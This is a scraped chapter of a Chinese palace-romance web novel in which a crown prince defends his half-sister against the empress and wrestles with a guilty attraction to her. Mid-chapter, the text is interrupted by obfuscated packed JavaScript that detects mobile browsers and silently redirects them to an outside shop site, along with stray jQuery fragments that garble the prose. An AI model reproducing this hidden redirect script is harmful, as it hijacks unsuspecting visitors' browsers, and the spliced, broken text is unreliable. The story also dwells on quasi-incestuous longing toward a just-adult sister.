默认冷灰
24号文字
方正启体

2. 第 2 章

作者:丹青允本书字数:K更新时间:
    宴席继续,推杯换盏。


    周遭喧闹,裴君淮却因着皇妹婚嫁之事沉默下来。


    储君独坐无言,眉宇间笼着阴郁之色,显然心事重重。


    “太子殿下。”


    觥筹交错间,一名内侍悄步趋近太子座后,垂首低语奏禀:


    “殿下总算回京了。阔别多日,皇后娘娘甚是挂怀,今特遣老奴前来,恭请殿下移驾坤宁宫叙话。”


    “叙旧,”裴君淮抬眸,态度极冷:“何来叙旧一说。”


    皇后此请,约莫又是因着方才袒护皇妹之事,对他心生不满罢了。


    “娘娘在偏殿诵经祝祷,殿下且随奴才移步此处。”


    坤宁宫。


    皇后跪坐蒲团,双手合掌,口中低声念诵。


    烟雾缭绕,供案上静静立着两个牌位,老宫人垂首跪坐一旁,手中木槌沉沉落下。


    “笃,笃,笃……”


    敲击声在空旷殿宇间回响,香烟弥散,模糊了牌位上的字迹。


    廊下步履声由远及近,是宫人引路而来。


    “你来了。”


    皇后缓缓睁开眼眸,目光凝在牌位之上。


    “母后。”


    裴君淮行礼。


    “去给你皇兄、皇姊进一柱香。”


    皇后手里捻着佛珠:“你离京月余,回来应当向他们报一声平安。”


    裴君淮接过宫人奉上的香柱。


    烟雾袅袅升起,缭绕于他清隽眉宇间,太子双手执香,于额前略顿,深揖一礼,行至供案前将香奉入炉中。


    “心意既至,儿臣告退了。


    言罢,裴君淮面向供案之上的牌位再施一礼,转身向殿外行去。


    “你站住!”


    皇后终于沉不住气了。


    裴君淮脚步微顿,并未久作停留。


    青年的身影渐行渐远,衣袂飘然,眼看着便要消失在回廊尽头。


    “太子,你将本宫的话当作耳旁风了么!”


    呵斥声响彻宫殿,宫人惊慌,纷纷垂首跪地,以期平息皇后的怒火。


    皇后起身,冷冷盯着裴君淮的背影:“你眼里可还有本宫这个母亲?”


    “今日宫宴之上,你公然袒护裴嫣。那丫头同她生母的性情一般无二,娇纵冒失,任性妄为。你是东宫太子,是王朝的储君,为她出头,也不怕陛下迁怒于你!”


    “母后慎言,”裴君淮冷声,“皇妹心性怯弱,行事一贯谨小慎微,从无娇纵妄为之举。”


    “事已至此,你仍在偏向她!”


    皇后踉跄走近,忿忿道:“今朝裴嫣做了错事,你能袒护她一时,难道能护得住她一世吗!


    “儿臣从不偏袒任何人,”裴君淮从容应声,“是非曲直,心中自有一杆秤衡量。”


    “好,好一个身正不怕影子斜,”皇后怒极反笑,


    “本宫险些忘了,裴嫣她可是太子殿下亲手教出来的。是你授她诗书经纶,将她教养成今日这般模样,可这并非本宫的初衷!”


    “裴嫣自幼养在本宫膝下,当初你执意携她一同读书,为她争取机会与皇子同道入学堂习策论,本宫不曾阻拦。那是因为她是贵妃独女,她的母亲是后宫最为得宠的女人,将皇妹交由你教养,陛下也会对你多加赞誉,因为你是东宫储君,需得贤德之誉加持,需得赢得美名。”


    “可本宫从未想过让你倾囊相授,对裴嫣掏心掏肺!”


    皇后点明要害:“你待裴嫣太好了,你不该真心实意地待她好……”


    “儿臣教养皇妹多年,从未动过任何私心。”


    裴君淮正色道:“皇妹不是东宫谋利邀赏的工具。”


    “你清高,你正直!”


    皇后恨得咬牙:“你既如此好为人师,何不让那些皇子公主都拜进东宫门下!让世人都知晓太子殿下心慈!乐为人师!”


    “不必。”


    裴君淮不留情面,“东宫容不下蠢物,他们比不得温仪慧心灵性。”


    “好,好得很,你眼底只容得下裴嫣!待你登基为帝,金山银山不足为贵,你索性把万里江山都送给她一人算了!”


    皇后扑至供案上,抱起牌位号啕大哭:


    “本宫苦命的儿女啊……这才是心疼母后的好孩子……若是你们还在,母后又怎会如此伤心……”


    “娘娘节哀。”宫人见状纷纷上前婉言劝解。


    皇后抱着牌位,哭斥裴君淮:“本宫怎的生了你这么个不孝逆子!你读书破万卷,满卷的孝悌仁义都读到哪里去了!”


    “知错不劝,方为不孝。”裴君淮漠然,不再理会这群哭嚎做戏的主仆。


    目光扫过逝者的牌位,他眸光黯淡。


    “若是皇长兄与安泰皇姐还在,也不愿看着母后一步错步步错,变成今日这般模样。”


    太子不再争辩,行礼告退。


    “你……”皇后被他戳中隐晦要害,气极怒目圆睁,“你这个不孝子!”


    坤宁宫里响起摔打破碎之声,闻声便知殿内必然一片狼藉。


    裴君淮闭上双眸,清隽眉眼间浮出几分沉重倦意。


    总是这样。


    这些年,皇后总是这样。或是因为裴嫣,或是因为圣上。


    “太子殿下。


    内侍快步跟了过来:“温仪公主已在东宫等候殿下多时了。”


    “裴嫣?”


    裴君淮听到皇妹的消息,缓缓睁开眼眸,“她有事找孤?”


    “公主带了糕点,说是宴席上给殿下添了麻烦,想见您一面。”


    “给孤添了麻烦。”裴君淮回味措辞,不由叹息一声。


    “到底还是孩子心性,遇事总是心怀歉疚,唯恐叨扰了旁人。


    内宦提议:“天色不早了,殿下舟车劳顿,京城又积压了许多政务,奴才斗胆请示,可需奴才通传温仪公主先行回宫?待殿下得暇,择日再会。”


    “不必。”裴君淮出言制止,步履匆匆。


    “回东宫罢,莫叫她空等一场。”


    ——————


    夕阳斜坠进高墙间,光晕洒在窗畔少女的身上。


    东宫书斋里,裴嫣频频眺望窗外,依然未能见到皇兄裴君淮的身影,只能望见满目苍翠的青竹迎风飒飒而动。


    侍卫说,太子殿下去了坤宁宫向皇后问安,请她稍候片刻。


    裴嫣闻言,心里愈发歉疚。


    她不想皇后娘娘与皇兄因她离心。


    更害怕自己成为任何人的麻烦。


    她乃贵妃所出,因着未足月早产,贵妃生产艰难,一直不待见这个女儿。养到五岁时,由皇帝做主,将裴嫣送去了坤宁宫交给皇后抚养。


    寄人篱下的滋味不好受,皇后厌她是贵妃之女,贵妃厌她在皇后膝下长大,两边都讨不着好,年幼的公主没有容身之处。


    裴嫣像一只踌躇难下的鸟儿,只有东宫、只有裴君淮给了她落脚的栖息地。


    可她不能再给皇兄添麻烦了。


    裴嫣看着熟悉的书斋,回想起过往朝夕相伴的一幕幕,不免伤感。


    她是皇兄看顾在身边长大的,在这间书斋里,裴君淮悉心教她识字、读书,除了皇兄的东宫能予她庇护,她似乎已无处可依了。


    “在想什么?”


    身后倏然传来裴君淮的声音。


    裴嫣一愣,匆忙抬袖遮住眼眸。


    “哭了?”裴君淮先她一步察觉异样。


    “没、没有。”


    裴嫣揉了揉眼睛,“风沙大,迷了眼睛。”


    裴君淮闻言,目光掠过窗外密植的竹丛。


    何来的风沙?


    这么多年了,皇妹的心思还是一如既往的单纯澄澈,即便是谎话,也编得太过稚嫩。


    裴君淮一贯体察入微,他不想让皇妹难堪,没拆穿裴嫣的谎言。


    “皇兄。”


    裴嫣拎着食盒跟在太子身后,悄声道:“我、我……”


    “坐,”裴君淮沏茶,温声道:“不急,想好了慢慢说。”


    皇兄总是这般善解人意,时人皆谓之君子,温其如玉,秉心惟仁。


    裴嫣心想,这世上再无人能比皇兄更好了。


    她取出食盒,摆开碟盘:“皇兄勤政,每至膳时闭门不出,长此以往伤及脾胃。我做了些点心,皇兄无瑕用饭时,可用些糕点充饥。”


    “公主心思细腻,这糕点呀,送到殿下心坎上了。”东宫近侍笑着接过食盒。


    食盒递了出去,裴嫣束手怔怔站着,欲言又止。


    裴君淮看她一眼。


    “还有一事……”裴嫣心神不宁,“向皇兄借阅的古籍孤本,温仪今日一并带回,归还东宫。


    言毕,宫殿再度归于寂静。


    裴嫣心忧,一刻也待不住了,起身便要告退。


    “有心事?”裴君淮忽然出声,叫住了她。


    裴嫣步履一顿。


    “没、没有。”


    裴君淮看着她犹豫的模样,直截了当:“说。”


    “皇兄……”


    裴嫣攥紧袖摆,心底十分不安:“温仪是来向皇兄赔罪的,我又给皇兄添麻烦了。”


    太子久候不至,恐是坤宁宫那处遭遇阻滞。


    裴嫣心思敏感,隐约猜中几分原委,愈感内疚。


    “方才……方才是因着我闯祸的缘故,皇兄同皇后娘娘起了争执吗?”


    裴君淮不答,反问她:“为何要替那乐坊伶人出头?”


    裴嫣悄声道:“可若不救,她会死的。”


    “罚我,也只是遭一通斥责,禁闭思过一段时日便罢了。”


    她怯生生望向裴君淮:“可若罚乐人,乐人便会丢了一条性命。责罚事小,生死事大,我……我不想她蒙受不白之冤……”


    裴君淮眸色一暗。


    禁闭思过说得轻巧,个中滋味并不好受,皇妹免不了要遭人冷眼,若是触怒龙颜,再无皇帝庇护,坤宁宫里那些人定然上赶着落井下石。


    可那些潜在的隐患与苦楚,都被裴嫣轻飘飘地揭过去了。


    心性太过良善澄净,不会衡量利弊。


    也不知是该怜惜她,还是后悔没能教会她心狠。


    裴君淮叹息一声,望着皇妹。


    这个妹妹是他亲手教大的,裴嫣身上有着他、有着这世上众多人物都缺少的特征——


    纯粹。


    至纯至净的心性,如同一块未经打磨、灵气天成的璞玉,吸引着他……


    不。


    吸引一词太过逾矩,并不恰当。


    裴君淮抬指压了压眉心,让自己冷静。


    “那只是一介伶人,若以尊卑贵贱论,根本不值得天家公主代她受罚。”


    “可是皇兄教过温仪,”裴嫣争辩,“人无贵贱之分,皆天所生,我、我想救她……”


    裴君淮望着懵懂的皇妹。


    “手。”他取出戒尺,言简意赅。


    裴嫣知道自己要被打手心了。


    皇帝起于草莽,以武定天下,主张女儿不必深耕学识,通读女诫女训足矣。


    而皇兄与父皇极为不同,裴君淮以身作则时常自省自罚,在读书一事上待她很是严苛,不逊东宫夫子,错了便要罚。


    裴嫣红着眼眶,委委屈屈地跟皇兄商量:“可否少罚三回……”


    她的声音越来越低。


    “两回,一回也成……”


    “手,给我。”裴君淮冷声命令。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786669|190493||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    裴嫣缓缓摊开手心。


    “皇兄,轻、轻些……”


    她紧张得快哭了。


    裴君淮沉着脸色,无动于衷。


    戒尺高高扬起,裴嫣闭紧双眼,不敢再看。


    那道影子倏然轻轻落下,拂过她的手心。


    惩戒的痛楚并未降下。


    裴嫣惊讶,缓缓睁开眼眸。


    “皇兄?”她泪眼模糊,茫然望向太子。


    “你没错,不当受罚。”


    裴君淮抽回戒尺,温声道:“孤会亲禀父皇,解你后顾之虑。”


    裴嫣微微一怔,回过神来。


    “多、多谢皇兄……”


    少女忙抬袖拭去泪痕。


    皇兄固然严厉,可她每回闯了祸,也是皇兄为她兜底,裴嫣喜欢待在东宫,喜欢和皇兄待在一起。


    “温仪还有一事请教,”裴嫣小心翼翼望向太子。


    “往后……往后温仪还能来往东宫么?”


    裴嫣亲近东宫,但她也心知,自己是个麻烦。


    母妃不喜她,皇后不喜她,宫中的宦官、侍女也都会在背地里窃笑着议论她。


    裴嫣清楚自己不讨喜。


    皇兄授她诗书传道解惑,她不想给皇兄增添不必要的烦扰。


    “何故问及此事?”裴君淮肃然,“母后又为难你了?


    “没有,”裴嫣匆忙摇头,“皇后娘娘待温仪很好。”


    “真的,真的很好。”她认真重复道,想让裴君淮宽心。


    “是温仪自己的主意,温仪不想再给皇兄添麻烦。


    “麻烦,”裴君淮皱眉,“你觉得自己是个麻烦?”


    “不算么?”裴嫣懵懂,眨了眨眼。


    “当然不是。”


    裴君淮神情肃然,耐心教予她:“温仪是这世间独一无二的温仪,弥足珍贵,万金不换,何来烦恼一说。”


    裴嫣怔住了。


    皇兄突然的肯定使她无所适从,从来没有人同她说过这番话,也无人教引她要将自己视作独一无二的珍宝。


    “从今往后,你可自由出入东宫,不必同旁人一般遵循规矩层层禀报。”


    言毕,裴君淮唤来亲随,叮嘱道:“传孤口谕,东宫上下,不得阻拦温仪公主。”


    裴嫣不安地攥紧手指。


    她不习惯旁人待她太好。


    可是,皇兄是旁人吗?


    裴嫣匆忙摇头,甩掉这个疏离而陌生的念头。


    皇兄是她的亲人。


    他们是朝夕相伴,一同长大的手足兄妹。


    年幼时,裴嫣会悄悄躲藏门外偷听先生讲学,不出两回,便被裴君淮揪了出来。惹


    “为何躲在殿外,踌躇不进?”


    小公主被抓了个正着,怯生生地望着皇兄。


    “嫣儿想听讲,可是,皇后娘娘说皇兄是国朝太子,需得专注勤勉。嫣儿不可以靠近,会打扰到皇兄的。”


    “你也想读书?”裴君淮垂眸,盯着还没桌案高的小人儿。


    “想。”小公主从桌底悄悄探出脑袋,眼眸明亮,充满了求知的渴望。


    “只是……嫣儿听不懂适才夫子讲解的道理。”她紧张地捏紧手指,很是羞愧。


    “你年纪尚小,若无人辅助解读,自然难以理解冗杂枯燥的经纶。


    裴君淮取出注解批语,递给她:“拿回去,若有不通之处,可来东宫问孤。愿意读书是好事,母后若有异议,不必为难公主,向孤发问便是。”


    自此开始,裴嫣往来东宫,由太子亲自教导学问。


    世人观之当今太子,无不赞其谦谦君子,温润如玉。


    可鲜少有人知晓,裴君淮性情冷淡。


    更鲜为人知的是,只有温仪公主在时,东宫凝重的氛围才会缓和些许。


    皇妹是裴君淮看顾在身边长大的。


    她若遇到难处,裴君淮也会随之情绪沉郁;她若笑逐颜开,也会引得裴君淮心境舒缓。


    裴嫣读着皇兄一笔一画为她写下的古籍注释,期待下一回再相见。


    裴君淮攥着皇妹一针一线给他绣出的平安符,站在空旷孤寂的东宫里,目送她离开。


    遥遥相望,少女欢快地朝他招了招手,身影在宫门间渐行渐远。


    这一幕场景,裴君淮看了许多年。


    东宫这座殿宇见证了裴嫣的成长,时光飞逝,她已出落成为亭亭玉立的姑娘。


    宴席之上,裴景越别有深意的言语在这时突兀闯进裴君淮的脑海。


    记忆中那粉雕玉琢、总爱抱着他腿撒娇的奶团子,仿佛还是昨日之事。


    光阴流转,她抽枝生长,绽放出少女的婀娜。


    眉梢眼角初绽的风情,属于女子的曼妙曲线,无一不在昭告裴君淮,皇妹已然长大成人。


    裴嫣浑然未觉,依然如从前那般,欢喜时会娇憨懵懂地扑入他怀中。


    温香软玉满怀,少女馥郁的气息将他包裹。


    心头警铃大作,裴君淮突然睁开眼眸,呼吸急促。


    一股强烈的罪恶感汹涌而上。


    裴君淮深深厌弃自己,强行压下那阵隐秘的悸动。


    不知不觉间,皇妹已经长大了。


    及笄之年,裴嫣到了议亲的年岁,日后嫁了人,她将长伴她的夫君,与之生儿育女,朝夕恩爱相伴。


    皇妹将无暇来往东宫,再残忍些,会忘记东宫里陪伴她的皇兄。


    从前相伴的一幕幕终将被时间抹杀。


    裴君淮紧盯着皇妹远去的背影,情绪愈发难以平静。


    心底翻涌起一阵酸涩的、异样的感觉。


    他想,这种情感是兄长对妹妹的不舍。


    或许是吧。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)